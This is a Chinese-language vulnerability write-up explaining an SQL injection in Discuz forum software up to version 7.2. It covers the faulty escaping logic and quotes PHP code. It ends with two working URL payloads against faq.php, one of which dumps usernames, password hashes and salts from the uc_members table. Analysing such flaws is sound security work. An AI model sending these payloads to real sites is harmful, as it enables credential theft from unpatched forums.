Discuz <= 7.2 SQL注入漏洞详情

　　Discuz树大招风已成常态，不过对于其他整站程序何尝不是如此？是否曾记得大明湖畔的PHPCMS和DEDCMS万人破的场景，流行整站程序最重要的还是漏洞的快速响应。

0x01 漏洞成因：

　　在《高级PHP应用程序漏洞审核技术》一文里的"魔术引号带来的新的安全问题"一节里，有提到通过提取魔术引号产生的“\”字符带来的安全问题，同样这个问题在这里又一次完美体现，如下面的代码片段:

// foo.php?xigr='ryat

function daddslashes($string, $force = 0) {
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
return $string;
}
...
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}
 
echo $xigr['hi'];

　　上面的代码原本期望得到一个经过daddslashes()安全处理后的数组变量$xigr['hi'],但是没有对变量$xigr做严格的类型规定，当我们提交一个字符串变量$xigr='ryat,经过上面的处理变为\'ryat,到最后$xigr['hi']就会输出\,如果这个变量引入到SQL语句,那么就会引起严重的安全问题了,再来看下面的代码片段:

if($xigr) {
foreach($xigr as $k => $v) {
$uids[] = $v['uid'];
}
$query = $db->query("SELECT uid FROM users WHERE uid IN ('".implode("','", $uids)."')");

　　利用上面提到的思路,通过提交foo.php?xigr[]='&xigr[][uid]=evilcode这样的构造形式可以很容易的突破GPC或类似的安全处理,形成SQL注射漏洞。

 

0x02 漏洞测试

　　测试漏洞存在的语句 & 爆出账号+密码+salt的语句：

http://xss.com/bbs/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23 

http://xss.com/bbs/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,password,0x3a,salt%29%20from%20uc_members%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

　　// 综合自Freebuf分析 & http://www.80vul.com/webzine_0x06/PSTZine_0x06_0x03.txt